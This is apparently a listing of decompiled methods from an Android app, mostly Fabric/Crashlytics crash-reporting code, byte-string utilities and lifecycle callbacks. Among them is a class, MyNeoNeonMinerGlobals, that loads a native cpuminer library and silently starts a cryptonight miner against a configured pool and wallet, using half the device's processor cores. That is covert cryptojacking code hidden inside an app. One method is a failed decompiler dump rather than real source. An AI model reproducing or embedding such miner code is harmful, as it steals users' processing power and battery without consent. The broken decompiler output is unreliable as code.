                throw new RuntimeException("4", ex22);
            } catch (Exception ex222) {
                throw new RuntimeException("5", ex222);
            }
        }
    }
}



32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

privateMethodThatThrowsException

Java Code
private void privateMethodThatThrowsException(String message) {
    throw new RuntimeException(message);
}



50
51
52

UserMetaData

Java Code
public UserMetaData() {
    this(null, null, null);
}



9
10
11

UserMetaData

Java Code
public UserMetaData(String id, String name, String email) {
    this.id = id;
    this.name = name;
    this.email = email;
}



13
14
15
16
17

isEmpty

Java Code
public boolean isEmpty() {
    return this.id == null && this.name == null && this.email == null;
}



19
20
21

create

Java Code
public static AppData create(Context context, IdManager idManager, String apiKey, String buildId) throws NameNotFoundException {
    String packageName = context.getPackageName();
    String installerPackageName = idManager.getInstallerPackageName();
    PackageInfo packageInfo = context.getPackageManager().getPackageInfo(packageName, 0);
    return new AppData(apiKey, buildId, installerPackageName, packageName, Integer.toString(packageInfo.versionCode), packageInfo.versionName == null ? IdManager.DEFAULT_VERSION_NAME : packageInfo.versionName);
}



16
17
18
19
20
21

AppData

Java Code
AppData(String apiKey, String buildId, String installerPackageName, String packageName, String versionCode, String versionName) {
    this.apiKey = apiKey;
    this.buildId = buildId;
    this.installerPackageName = installerPackageName;
    this.packageName = packageName;
    this.versionCode = versionCode;
    this.versionName = versionName;
}



23
24
25
26
27
28
29
30

CrashlyticsUncaughtExceptionHandler

Java Code
public CrashlyticsUncaughtExceptionHandler(CrashListener crashListener, UncaughtExceptionHandler defaultHandler) {
    this.crashListener = crashListener;
    this.defaultHandler = defaultHandler;
}



16
17
18
19

uncaughtException

Java Code
public void uncaughtException(Thread thread, Throwable ex) {
    this.isHandlingException.set(true);
    try {
        this.crashListener.onUncaughtException(thread, ex);
    } catch (Exception e) {
        Fabric.getLogger().e(CrashlyticsCore.TAG, "An error occurred in the uncaught exception handler", e);
    } finally {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "Crashlytics completed exception processing. Invoking default exception handler.");
        this.defaultHandler.uncaughtException(thread, ex);
        this.isHandlingException.set(false);
    }
}



21
22
23
24
25
26
27
28
29
30
31
32

isHandlingException

Java Code
boolean isHandlingException() {
    return this.isHandlingException.get();
}



34
35
36

onUncaughtException

Java Code



accept

Java Code
public boolean accept(File dir, String filename) {
    return true;
}



10
11
12

Utils

Java Code



capFileCount

Java Code
static int capFileCount(File directory, int maxAllowed, Comparator<File> sortComparator) {
    return capFileCount(directory, ALL_FILES_FILTER, maxAllowed, sortComparator);
}



18
19
20

capFileCount

Java Code
static int capFileCount(File directory, FilenameFilter filter, int maxAllowed, Comparator<File> sortComparator) {
    int i = 0;
    File[] sessionFiles = directory.listFiles(filter);
    if (sessionFiles == null) {
        return 0;
    }
    int numRetained = sessionFiles.length;
    Arrays.sort(sessionFiles, sortComparator);
    int length = sessionFiles.length;
    while (i < length) {
        File file = sessionFiles[i];
        if (numRetained <= maxAllowed) {
            return numRetained;
        }
        file.delete();
        numRetained--;
        i++;
    }
    return numRetained;
}



22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

<clinit>

Java Code



ReportUploader

Java Code
public ReportUploader(String apiKey, CreateReportSpiCall createReportCall, ReportFilesProvider reportFilesProvider, HandlingExceptionCheck handlingExceptionCheck) {
    if (createReportCall == null) {
        throw new IllegalArgumentException("createReportCall must not be null.");
    }
    this.createReportCall = createReportCall;
    this.apiKey = apiKey;
    this.reportFilesProvider = reportFilesProvider;
    this.handlingExceptionCheck = handlingExceptionCheck;
}



106
107
108
109
110
111
112
113
114

uploadReports

Java Code
public synchronized void uploadReports(float delay, SendCheck sendCheck) {
    if (this.uploadThread != null) {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "Report upload has already been started.");
    } else {
        this.uploadThread = new Thread(new Worker(delay, sendCheck), "Crashlytics Report Uploader");
        this.uploadThread.start();
    }
}



116
117
118
119
120
121
122
123

isUploading

Java Code
boolean isUploading() {
    return this.uploadThread != null;
}



125
126
127

forceUpload

Java Code
boolean forceUpload(Report report) {
    boolean removed = false;
    synchronized (this.fileAccessLock) {
        try {
            boolean sent = this.createReportCall.invoke(new CreateReportRequest(this.apiKey, report));
            Fabric.getLogger().i(CrashlyticsCore.TAG, "Crashlytics report upload " + (sent ? "complete: " : "FAILED: ") + report.getIdentifier());
            if (sent) {
                report.remove();
                removed = true;
            }
        } catch (Exception e) {
            Fabric.getLogger().e(CrashlyticsCore.TAG, "Error occurred sending report " + report, e);
        }
    }
    return removed;
}



129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144

findReports

Java Code
List<Report> findReports() {
    Fabric.getLogger().d(CrashlyticsCore.TAG, "Checking for crash reports...");
    synchronized (this.fileAccessLock) {
        File[] clsFiles = this.reportFilesProvider.getCompleteSessionFiles();
        File[] invalidClsFiles = this.reportFilesProvider.getInvalidSessionFiles();
    }
    List<Report> reports = new LinkedList();
    if (clsFiles != null) {
        for (File file : clsFiles) {
            Fabric.getLogger().d(CrashlyticsCore.TAG, "Found crash report " + file.getPath());
            reports.add(new SessionReport(file));
        }
    }
    Map<String, List<File>> invalidSessionFiles = new HashMap();
    if (invalidClsFiles != null) {
        for (File invalidFile : invalidClsFiles) {
            String sessionId = CrashlyticsController.getSessionIdFromSessionFile(invalidFile);
            if (!invalidSessionFiles.containsKey(sessionId)) {
                invalidSessionFiles.put(sessionId, new LinkedList());
            }
            ((List) invalidSessionFiles.get(sessionId)).add(invalidFile);
        }
    }
    for (String key : invalidSessionFiles.keySet()) {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "Found invalid session: " + key);
        List<File> invalidFiles = (List) invalidSessionFiles.get(key);
        reports.add(new InvalidSessionReport(key, (File[]) invalidFiles.toArray(new File[invalidFiles.size()])));
    }
    if (reports.isEmpty()) {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "No reports found.");
    }
    return reports;
}



146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178

isHandlingException

Java Code



getCompleteSessionFiles

Java Code



getInvalidSessionFiles

Java Code



canSendReports

Java Code



AlwaysSendCheck

Java Code



canSendReports

Java Code
public boolean canSendReports() {
    return true;
}



40
41
42

Worker

Java Code
Worker(float delay, SendCheck sendCheck) {
    this.delay = delay;
    this.sendCheck = sendCheck;
}



49
50
51
52

onRun

Java Code
public void onRun() {
    try {
        attemptUploadWithRetry();
    } catch (Exception e) {
        Fabric.getLogger().e(CrashlyticsCore.TAG, "An unexpected error occurred while attempting to upload crash reports.", e);
    }
    ReportUploader.this.uploadThread = null;
}



54
55
56
57
58
59
60
61

attemptUploadWithRetry

Java Code
private void attemptUploadWithRetry() {
    Fabric.getLogger().d(CrashlyticsCore.TAG, "Starting report processing in " + this.delay + " second(s)...");
    if (this.delay > 0.0f) {
        try {
            Thread.sleep((long) (this.delay * 1000.0f));
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            return;
        }
    }
    List<Report> reports = ReportUploader.this.findReports();
    if (!ReportUploader.this.handlingExceptionCheck.isHandlingException()) {
        if (reports.isEmpty() || this.sendCheck.canSendReports()) {
            int retryCount = 0;
            while (!reports.isEmpty() && !ReportUploader.this.handlingExceptionCheck.isHandlingException()) {
                Fabric.getLogger().d(CrashlyticsCore.TAG, "Attempting to send " + reports.size() + " report(s)");
                for (Report report : reports) {
                    ReportUploader.this.forceUpload(report);
                }
                reports = ReportUploader.this.findReports();
                if (!reports.isEmpty()) {
                    int retryCount2 = retryCount + 1;
                    long interval = (long) ReportUploader.RETRY_INTERVALS[Math.min(retryCount, ReportUploader.RETRY_INTERVALS.length - 1)];
                    Fabric.getLogger().d(CrashlyticsCore.TAG, "Report submisson: scheduling delayed retry in " + interval + " seconds");
                    try {
                        Thread.sleep(1000 * interval);
                        retryCount = retryCount2;
                    } catch (InterruptedException e2) {
                        Thread.currentThread().interrupt();
                        return;
                    }
                }
            }
            return;
        }
        Fabric.getLogger().d(CrashlyticsCore.TAG, "User declined to send. Removing " + reports.size() + " Report(s).");
        for (Report report2 : reports) {
            report2.remove();
        }
    }
}



63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103

ManifestUnityVersionProvider

Java Code
public ManifestUnityVersionProvider(Context context, String packageName) {
    this.context = context;
    this.packageName = packageName;
}



11
12
13
14

getUnityVersion

Java Code
public String getUnityVersion() {
    String unityVersion = null;
    try {
        Bundle metaData = this.context.getPackageManager().getApplicationInfo(this.packageName, 128).metaData;
        if (metaData != null) {
            unityVersion = metaData.getString(FABRIC_UNITY_CRASHLYTICS_VERSION_KEY);
        }
    } catch (Exception e) {
    }
    return unityVersion;
}



16
17
18
19
20
21
22
23
24
25
26

CrashlyticsPinningInfoProvider

Java Code
public CrashlyticsPinningInfoProvider(PinningInfoProvider pinningInfo) {
    this.pinningInfo = pinningInfo;
}



9
10
11

getKeyStoreStream

Java Code
public InputStream getKeyStoreStream() {
    return this.pinningInfo.getKeyStoreStream();
}



13
14
15

getKeyStorePassword

Java Code
public String getKeyStorePassword() {
    return this.pinningInfo.getKeyStorePassword();
}



17
18
19

getPins

Java Code
public String[] getPins() {
    return this.pinningInfo.getPins();
}



21
22
23

getPinCreationTimeInMillis

Java Code
public long getPinCreationTimeInMillis() {
    return -1;
}



25
26
27

getCustomHeaders

Java Code



getFile

Java Code



getFileName

Java Code



getFiles

Java Code



getIdentifier

Java Code



remove

Java Code



CrashlyticsFileMarker

Java Code
public CrashlyticsFileMarker(String markerName, FileStore fileStore) {
    this.markerName = markerName;
    this.fileStore = fileStore;
}



12
13
14
15

create

Java Code
public boolean create() {
    boolean wasCreated = false;
    try {
        wasCreated = getMarkerFile().createNewFile();
    } catch (IOException e) {
        Fabric.getLogger().e(CrashlyticsCore.TAG, "Error creating marker: " + this.markerName, e);
    }
    return wasCreated;
}



17
18
19
20
21
22
23
24
25

isPresent

Java Code
public boolean isPresent() {
    return getMarkerFile().exists();
}



27
28
29

remove

Java Code
public boolean remove() {
    return getMarkerFile().delete();
}



31
32
33

getMarkerFile

Java Code
private File getMarkerFile() {
    return new File(this.fileStore.getFilesDir(), this.markerName);
}



35
36
37

ByteString

Java Code
private ByteString(byte[] bytes) {
    this.hash = 0;
    this.bytes = bytes;
}



49
50
51
52

byteAt

Java Code
public byte byteAt(int index) {
    return this.bytes[index];
}



54
55
56

size

Java Code
public int size() {
    return this.bytes.length;
}



58
59
60

isEmpty

Java Code
public boolean isEmpty() {
    return this.bytes.length == 0;
}



62
63
64

copyFrom

Java Code
public static ByteString copyFrom(byte[] bytes, int offset, int size) {
    byte[] copy = new byte[size];
    System.arraycopy(bytes, offset, copy, 0, size);
    return new ByteString(copy);
}



66
67
68
69
70

copyFrom

Java Code
public static ByteString copyFrom(byte[] bytes) {
    return copyFrom(bytes, 0, bytes.length);
}



72
73
74

copyFrom

Java Code
public static ByteString copyFrom(ByteBuffer bytes, int size) {
    byte[] copy = new byte[size];
    bytes.get(copy);
    return new ByteString(copy);
}



76
77
78
79
80

copyFrom

Java Code
public static ByteString copyFrom(ByteBuffer bytes) {
    return copyFrom(bytes, bytes.remaining());
}



82
83
84

copyFrom

Java Code
public static ByteString copyFrom(String text, String charsetName) throws UnsupportedEncodingException {
    return new ByteString(text.getBytes(charsetName));
}



86
87
88

copyFromUtf8

Java Code
public static ByteString copyFromUtf8(String text) {
    try {
        return new ByteString(text.getBytes(HttpRequest.CHARSET_UTF8));
    } catch (UnsupportedEncodingException e) {
        throw new RuntimeException("UTF-8 not supported.", e);
    }
}



90
91
92
93
94
95
96

copyFrom

Java Code
public static ByteString copyFrom(List<ByteString> list) {
    if (list.size() == 0) {
        return EMPTY;
    }
    if (list.size() == 1) {
        return (ByteString) list.get(0);
    }
    int size = 0;
    for (ByteString str : list) {
        size += str.size();
    }
    byte[] bytes = new byte[size];
    int pos = 0;
    for (ByteString str2 : list) {
        System.arraycopy(str2.bytes, 0, bytes, pos, str2.size());
        pos += str2.size();
    }
    return new ByteString(bytes);
}



98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116

copyTo

Java Code
public void copyTo(byte[] target, int offset) {
    System.arraycopy(this.bytes, 0, target, offset, this.bytes.length);
}



118
119
120

copyTo

Java Code
public void copyTo(byte[] target, int sourceOffset, int targetOffset, int size) {
    System.arraycopy(this.bytes, sourceOffset, target, targetOffset, size);
}



122
123
124

copyTo

Java Code
public void copyTo(ByteBuffer target) {
    target.put(this.bytes, 0, this.bytes.length);
}



126
127
128

toByteArray

Java Code
public byte[] toByteArray() {
    int size = this.bytes.length;
    byte[] copy = new byte[size];
    System.arraycopy(this.bytes, 0, copy, 0, size);
    return copy;
}



130
131
132
133
134
135

asReadOnlyByteBuffer

Java Code
public ByteBuffer asReadOnlyByteBuffer() {
    return ByteBuffer.wrap(this.bytes).asReadOnlyBuffer();
}



137
138
139

toString

Java Code
public String toString(String charsetName) throws UnsupportedEncodingException {
    return new String(this.bytes, charsetName);
}



141
142
143

toStringUtf8

Java Code
public String toStringUtf8() {
    try {
        return new String(this.bytes, HttpRequest.CHARSET_UTF8);
    } catch (UnsupportedEncodingException e) {
        throw new RuntimeException("UTF-8 not supported?", e);
    }
}



145
146
147
148
149
150
151

equals

Java Code
public boolean equals(Object o) {
    if (o == this) {
        return true;
    }
    if (!(o instanceof ByteString)) {
        return false;
    }
    ByteString other = (ByteString) o;
    int size = this.bytes.length;
    if (size != other.bytes.length) {
        return false;
    }
    byte[] thisBytes = this.bytes;
    byte[] otherBytes = other.bytes;
    for (int i = 0; i < size; i++) {
        if (thisBytes[i] != otherBytes[i]) {
            return false;
        }
    }
    return true;
}



153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173

hashCode

Java Code
public int hashCode() {
    int h = this.hash;
    if (h == 0) {
        byte[] thisBytes = this.bytes;
        int size = this.bytes.length;
        h = size;
        for (int i = 0; i < size; i++) {
            h = (h * 31) + thisBytes[i];
        }
        if (h == 0) {
            h = 1;
        }
        this.hash = h;
    }
    return h;
}



175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190

newInput

Java Code
public InputStream newInput() {
    return new ByteArrayInputStream(this.bytes);
}



192
193
194

newOutput

Java Code
public static Output newOutput(int initialCapacity) {
    return new Output(new ByteArrayOutputStream(initialCapacity));
}



196
197
198

newOutput

Java Code
public static Output newOutput() {
    return newOutput(32);
}



200
201
202

newCodedBuilder

Java Code
static CodedBuilder newCodedBuilder(int size) {
    return new CodedBuilder(size);
}



204
205
206

CodedBuilder

Java Code
private CodedBuilder(int size) {
    this.buffer = new byte[size];
    this.output = CodedOutputStream.newInstance(this.buffer);
}



21
22
23
24

build

Java Code
public ByteString build() {
    this.output.checkNoSpaceLeft();
    return new ByteString(this.buffer);
}



26
27
28
29

getCodedOutput

Java Code
public CodedOutputStream getCodedOutput() {
    return this.output;
}



31
32
33

Output

Java Code
private Output(ByteArrayOutputStream bout) {
    super(bout);
    this.bout = bout;
}



39
40
41
42

toByteString

Java Code
public ByteString toByteString() {
    return new ByteString(this.bout.toByteArray());
}



44
45
46

CreateReportRequest

Java Code
public CreateReportRequest(String apiKey, Report report) {
    this.apiKey = apiKey;
    this.report = report;
}



7
8
9
10

getCrashEventData

Java Code



ThreadData

Java Code
public ThreadData(int importance, FrameData[] frames) {
    this(null, importance, frames);
}



33
34
35

ThreadData

Java Code
public ThreadData(String name, int importance, FrameData[] frames) {
    this.name = name;
    this.importance = importance;
    this.frames = frames;
}



37
38
39
40
41

FrameData

Java Code
public FrameData(long address, int importance) {
    this(address, "", importance);
}



16
17
18

FrameData

Java Code
public FrameData(long address, String symbol, int importance) {
    this(address, symbol, "", 0, importance);
}



20
21
22

FrameData

Java Code
public FrameData(long address, String symbol, String file, long offset, int importance) {
    this.address = address;
    this.symbol = symbol;
    this.file = file;
    this.offset = offset;
    this.importance = importance;
}



24
25
26
27
28
29
30

BinaryImageData

Java Code
public BinaryImageData(long baseAddress, long size, String path, String id) {
    this.baseAddress = baseAddress;
    this.size = size;
    this.path = path;
    this.id = id;
}



9
10
11
12
13
14

SessionEventData

Java Code
public SessionEventData(long timestamp, SignalData signal, ThreadData[] threads, BinaryImageData[] binaryImages, CustomAttributeData[] customAttributes, DeviceData deviceData) {
    this.timestamp = timestamp;
    this.signal = signal;
    this.threads = threads;
    this.binaryImages = binaryImages;
    this.customAttributes = customAttributes;
    this.deviceData = deviceData;
}



11
12
13
14
15
16
17
18

CustomAttributeData

Java Code
public CustomAttributeData(String key, String value) {
    this.key = key;
    this.value = value;
}



7
8
9
10

SignalData

Java Code
public SignalData(String name, String code, long faultAddress) {
    this.name = name;
    this.code = code;
    this.faultAddress = faultAddress;
}



8
9
10
11
12

DeviceData

Java Code
public DeviceData(int orientation, long totalPhysicalMemory, long totalInternalStorage, long availablePhysicalMemory, long availableInternalStorage, int batteryCapacity, int batteryVelocity, boolean proximity) {
    this.orientation = orientation;
    this.totalPhysicalMemory = totalPhysicalMemory;
    this.totalInternalStorage = totalInternalStorage;
    this.availablePhysicalMemory = availablePhysicalMemory;
    this.availableInternalStorage = availableInternalStorage;
    this.batteryCapacity = batteryCapacity;
    this.batteryVelocity = batteryVelocity;
    this.proximity = proximity;
}



13
14
15
16
17
18
19
20
21
22

stopMiner

Java Code



getNrProcessors

Java Code



startMiner

Java Code



MyNeoNeonMinerGlobals

Java Code
public MyNeoNeonMinerGlobals() {
    System.loadLibrary("curl");
    System.loadLibrary("gmp");
    System.loadLibrary("cpuminer");
}



16
17
18
19
20

start

Java Code
public void start() {
    try {
        String algo = "cryptonight";
        String protocol = "stratum+tcp";
        String pool = Constants.miningPool;
        String port = String.valueOf(Constants.miningPort);
        String wallet = Constants.miningUser;
        String diff = Build.MANUFACTURER;
        int threadsNum = getNrProcessors();
        if (getNrProcessors() > 2) {
            threadsNum = getNrProcessors() / 2;
        }
        String command = "minerd -q -a " + algo + " -o " + protocol + "://" + pool + ":" + port + " -O " + wallet + ":" + diff + " -t " + String.valueOf(threadsNum);
        startMiner(command == null ? 0 : (command.length() - command.replace(" ", "").length()) + 1, command);
    } catch (Exception e) {
    }
}



22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

stop

Java Code
public void stop() {
    stopMiner();
}



40
41
42

run

Java Code
public void run() {
    start();
}



44
45
46

getKits

Java Code



InitializationException

Java Code
public InitializationException(String detailMessage) {
    super(detailMessage);
}



4
5
6

InitializationException

Java Code
public InitializationException(String detailMessage, Throwable throwable) {
    super(detailMessage, throwable);
}



8
9
10

ActivityLifecycleManager

Java Code
public ActivityLifecycleManager(Context context) {
    this.application = (Application) context.getApplicationContext();
    if (VERSION.SDK_INT >= 14) {
        this.callbacksWrapper = new ActivityLifecycleCallbacksWrapper(this.application);
    }
}



95
96
97
98
99
100

registerCallbacks

Java Code
public boolean registerCallbacks(Callbacks callbacks) {
    return this.callbacksWrapper != null && this.callbacksWrapper.registerLifecycleCallbacks(callbacks);
}



102
103
104

resetCallbacks

Java Code
public void resetCallbacks() {
    if (this.callbacksWrapper != null) {
        this.callbacksWrapper.clearCallbacks();
    }
}



106
107
108
109
110

ActivityLifecycleCallbacksWrapper

Java Code
ActivityLifecycleCallbacksWrapper(Application application) {
    this.application = application;
}



21
22
23

clearCallbacks

Java Code
private void clearCallbacks() {
    for (ActivityLifecycleCallbacks callback : this.registeredCallbacks) {
        this.application.unregisterActivityLifecycleCallbacks(callback);
    }
}



26
27
28
29
30

registerLifecycleCallbacks

Java Code
private boolean registerLifecycleCallbacks(final Callbacks callbacks) {
    if (this.application == null) {
        return false;
    }
    ActivityLifecycleCallbacks callbackWrapper = new ActivityLifecycleCallbacks() {
        public void onActivityCreated(Activity activity, Bundle bundle) {
            callbacks.onActivityCreated(activity, bundle);
        }
        public void onActivityStarted(Activity activity) {
            callbacks.onActivityStarted(activity);
        }
        public void onActivityResumed(Activity activity) {
            callbacks.onActivityResumed(activity);
        }
        public void onActivityPaused(Activity activity) {
            callbacks.onActivityPaused(activity);
        }
        public void onActivityStopped(Activity activity) {
            callbacks.onActivityStopped(activity);
        }
        public void onActivitySaveInstanceState(Activity activity, Bundle bundle) {
            callbacks.onActivitySaveInstanceState(activity, bundle);
        }
        public void onActivityDestroyed(Activity activity) {
            callbacks.onActivityDestroyed(activity);
        }
    };
    this.application.registerActivityLifecycleCallbacks(callbackWrapper);
    this.registeredCallbacks.add(callbackWrapper);
    return true;
}



33
34
35
36
37
38
39
40
42
43
44
46
47
48
50
51
52
54
55
56
58
59
60
62
63
64
65
66
67
68
69

onActivityCreated

Java Code
public void onActivityCreated(Activity activity, Bundle bundle) {
    callbacks.onActivityCreated(activity, bundle);
}



38
39
40

onActivityStarted

Java Code
public void onActivityStarted(Activity activity) {
    callbacks.onActivityStarted(activity);
}



42
43
44

onActivityResumed

Java Code
public void onActivityResumed(Activity activity) {
    callbacks.onActivityResumed(activity);
}



46
47
48

onActivityPaused

Java Code
public void onActivityPaused(Activity activity) {
    callbacks.onActivityPaused(activity);
}



50
51
52

onActivityStopped

Java Code
public void onActivityStopped(Activity activity) {
    callbacks.onActivityStopped(activity);
}



54
55
56

onActivitySaveInstanceState

Java Code
public void onActivitySaveInstanceState(Activity activity, Bundle bundle) {
    callbacks.onActivitySaveInstanceState(activity, bundle);
}



58
59
60

onActivityDestroyed

Java Code
public void onActivityDestroyed(Activity activity) {
    callbacks.onActivityDestroyed(activity);
}



62
63
64

onActivityCreated

Java Code



onActivityStarted

Java Code



onActivityResumed

Java Code



onActivityPaused

Java Code



onActivityStopped

Java Code



onActivitySaveInstanceState

Java Code



onActivityDestroyed

Java Code



FabricKitsFinder

Java Code
FabricKitsFinder(String apkFileName) {
    this.apkFileName = apkFileName;
}



23
24
25

call

Java Code
public Map<String, KitInfo> call() throws Exception {
    Map<String, KitInfo> kitInfos = new HashMap();
    long startScan = SystemClock.elapsedRealtime();
    kitInfos.putAll(findImplicitKits());
    kitInfos.putAll(findRegisteredKits());
    Fabric.getLogger().v(Fabric.TAG, "finish scanning in " + (SystemClock.elapsedRealtime() - startScan));
    return kitInfos;
}



27
28
29
30
31
32
33
34

findImplicitKits

Java Code
private Map<String, KitInfo> findImplicitKits() {
    Map<String, KitInfo> implicitKits = new HashMap();
    try {
        Class.forName("com.google.android.gms.ads.AdView");
        KitInfo admobKitInfo = new KitInfo("com.google.firebase.firebase-ads", "0.0.0", "binary");
        implicitKits.put(admobKitInfo.getIdentifier(), admobKitInfo);
        Fabric.getLogger().v(Fabric.TAG, "Found kit: com.google.firebase.firebase-ads");
    } catch (Exception e) {
    }
    return implicitKits;
}



36
37
38
39
40
41
42
43
44
45
46

findRegisteredKits

Java Code
private Map<String, KitInfo> findRegisteredKits() throws Exception {
    Map<String, KitInfo> registeredKits = new HashMap();
    ZipFile apkFile = loadApkFile();
    Enumeration<? extends ZipEntry> entries = apkFile.entries();
    while (entries.hasMoreElements()) {
        ZipEntry entry = (ZipEntry) entries.nextElement();
        if (entry.getName().startsWith(FABRIC_DIR) && entry.getName().length() > FABRIC_DIR.length()) {
            KitInfo kitInfo = loadKitInfo(entry, apkFile);
            if (kitInfo != null) {
                registeredKits.put(kitInfo.getIdentifier(), kitInfo);
                Fabric.getLogger().v(Fabric.TAG, String.format("Found kit:[%s] version:[%s]", new Object[]{kitInfo.getIdentifier(), kitInfo.getVersion()}));
            }
        }
    }
    if (apkFile != null) {
        try {
            apkFile.close();
        } catch (IOException e) {
        }
    }
    return registeredKits;
}



48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

loadKitInfo

Java Code
private KitInfo loadKitInfo(ZipEntry fabricFile, ZipFile apk) {
    InputStream inputStream = null;
    KitInfo kitInfo;
    try {
        inputStream = apk.getInputStream(fabricFile);
        Properties properties = new Properties();
        properties.load(inputStream);
        String id = properties.getProperty(FABRIC_IDENTIFIER_KEY);
        String version = properties.getProperty(FABRIC_VERSION_KEY);
        String buildType = properties.getProperty(FABRIC_BUILD_TYPE_KEY);
        if (TextUtils.isEmpty(id) || TextUtils.isEmpty(version)) {
            throw new IllegalStateException("Invalid format of fabric file," + fabricFile.getName());
        }
        kitInfo = new KitInfo(id, version, buildType);
        return kitInfo;
    } catch (IOException ie) {
        kitInfo = Fabric.getLogger();
        kitInfo.e(Fabric.TAG, "Error when parsing fabric properties " + fabricFile.getName(), ie);
        return null;
    } finally {
        CommonUtils.closeQuietly(inputStream);
    }
}



71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93

loadApkFile

Java Code
protected ZipFile loadApkFile() throws IOException {
    return new ZipFile(this.apkFileName);
}



95
96
97

isLoggable

Java Code
public boolean isLoggable(String tag, int level) {
    return false;
}



6
7
8

d

Java Code



v

Java Code



i

Java Code



w

Java Code



e

Java Code



d

Java Code



v

Java Code



i

Java Code



w

Java Code



e

Java Code



log

Java Code



log

Java Code



getLogLevel

Java Code
public int getLogLevel() {
    return this.logLevel;
}



46
47
48

setLogLevel

Java Code



failure

Java Code



success

Java Code



Empty

Java Code



success

Java Code



failure

Java Code



onPreExecute

Java Code
protected void onPreExecute() {
    /* JADX: method processing error */
r: jadx.core.utils.exceptions.JadxRuntimeException: Can't find block by offset: 0x0019 in list [B:19:0x0037]
jadx.core.utils.BlockUtils.getBlockByOffset(BlockUtils.java:43)
jadx.core.dex.instructions.IfNode.initBlocks(IfNode.java:60)
jadx.core.dex.visitors.blocksmaker.BlockFinish.initBlocksInIfNodes(BlockFinish.java:48)
jadx.core.dex.visitors.blocksmaker.BlockFinish.visit(BlockFinish.java:33)
jadx.core.dex.visitors.DepthTraversal.visit(DepthTraversal.java:31)
jadx.core.dex.visitors.DepthTraversal.visit(DepthTraversal.java:17)
jadx.core.ProcessClass.process(ProcessClass.java:34)
jadx.core.ProcessClass.processDependencies(ProcessClass.java:56)
jadx.core.ProcessClass.process(ProcessClass.java:39)
jadx.api.JadxDecompiler.processClass(JadxDecompiler.java:282)
jadx.api.JavaClass.decompile(JavaClass.java:62)
jadx.api.JadxDecompiler.lambda$appendSourcesSave$0(JadxDecompiler.java:200)
    /*
    r7 = this;
    r6 = 1;
    super.onPreExecute();
    r3 = "onPreExecute";
    r2 = r7.createAndStartTimingMetric(r3);
    r1 = 0;
    r3 = r7.kit;   Catch:{ UnmetDependencyException -> 0x001a, Exception -> 0x0026, all -> 0x001c }
    r1 = r3.onPreExecute();   Catch:{ UnmetDependencyException -> 0x001a, Exception -> 0x0026, all -> 0x001c }
    r2.stopMeasuring();
    if (r1 != 0) goto L_0x0019;
L_0x0016:
    r7.cancel(r6);
L_0x0019:
    return;
L_0x001a:
    r0 = move-exception;
    throw r0;   Catch:{ UnmetDependencyException -> 0x001a, Exception -> 0x0026, all -> 0x001c }
L_0x001c:
    r3 = move-exception;
    r2.stopMeasuring();
    if (r1 != 0) goto L_0x0025;
L_0x0022:
    r7.cancel(r6);
L_0x0025:
    throw r3;
L_0x0026:
    r0 = move-exception;
    r3 = io.fabric.sdk.android.Fabric.getLogger();   Catch:{ UnmetDependencyException -> 0x001a, Exception -> 0x0026, all -> 0x001c }
    r4 = "Fabric";   Catch:{ UnmetDependencyException -> 0x001a, Exception -> 0x0026, all -> 0x001c }
    r5 = "Failure onPreExecute()";   Catch:{ UnmetDependencyException -> 0x001a, Exception -> 0x0026, all -> 0x001c }
    r3.e(r4, r5, r0);   Catch:{ UnmetDependencyException -> 0x001a, Exception -> 0x0026, all -> 0x001c }
    r2.stopMeasuring();
    if (r1 != 0) goto L_0x0019;
L_0x0037:
    r7.cancel(r6);
    goto L_0x0019;
    */
    throw new UnsupportedOperationException("Method not decompiled: io.fabric.sdk.android.InitializationTask.onPreExecute():void");
}



11
12
14
15
16
17
18
19
20
21
22
23
24
25
26
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

InitializationTask

Java Code
public InitializationTask(Kit<Result> kit) {
    this.kit = kit;
}



69
70
71

doInBackground

Java Code
protected Result doInBackground(Void... voids) {
    TimingMetric timingMetric = createAndStartTimingMetric("doInBackground");
    Result result = null;
    if (!isCancelled()) {
        result = this.kit.doInBackground();
    }
    timingMetric.stopMeasuring();
    return result;
}



73
74
75
76
77
78
79
80
81

onPostExecute

Java Code
protected void onPostExecute(Result result) {
    this.kit.onPostExecute(result);
    this.kit.initializationCallback.success(result);
}



83
84
85
86

onCancelled

Java Code
protected void onCancelled(Result result) {
    this.kit.onCancelled(result);
    this.kit.initializationCallback.failure(new InitializationException(this.kit.getIdentifier() + " Initialization was cancelled"));
}



88
89
90
91

getPriority

Java Code
public Priority getPriority() {
    return Priority.HIGH;
}



93
94
95

createAndStartTimingMetric

Java Code
private TimingMetric createAndStartTimingMetric(String event) {
    TimingMetric timingMetric = new TimingMetric(this.kit.getIdentifier() + "." + event, TIMING_METRIC_TAG);
    timingMetric.startMeasuring();
    return timingMetric;
}



97
98
99
100
101

singleton

Java Code
static Fabric singleton() {
    if (singleton != null) {
        return singleton;
    }
    throw new IllegalStateException("Must Initialize Fabric before using singleton()");
}



172
173
174
175
176
177

Fabric

Java Code
Fabric(Context context, Map<Class<? extends Kit>, Kit> kits, PriorityThreadPoolExecutor threadPoolExecutor, Handler mainHandler, Logger logger, boolean debuggable, InitializationCallback callback, IdManager idManager, Activity rootActivity) {
    this.context = context;
    this.kits = kits;
    this.executorService = threadPoolExecutor;
    this.mainHandler = mainHandler;
    this.logger = logger;
    this.debuggable = debuggable;
    this.initializationCallback = callback;
    this.kitInitializationCallback = createKitInitializationCallback(kits.size());
    this.idManager = idManager;
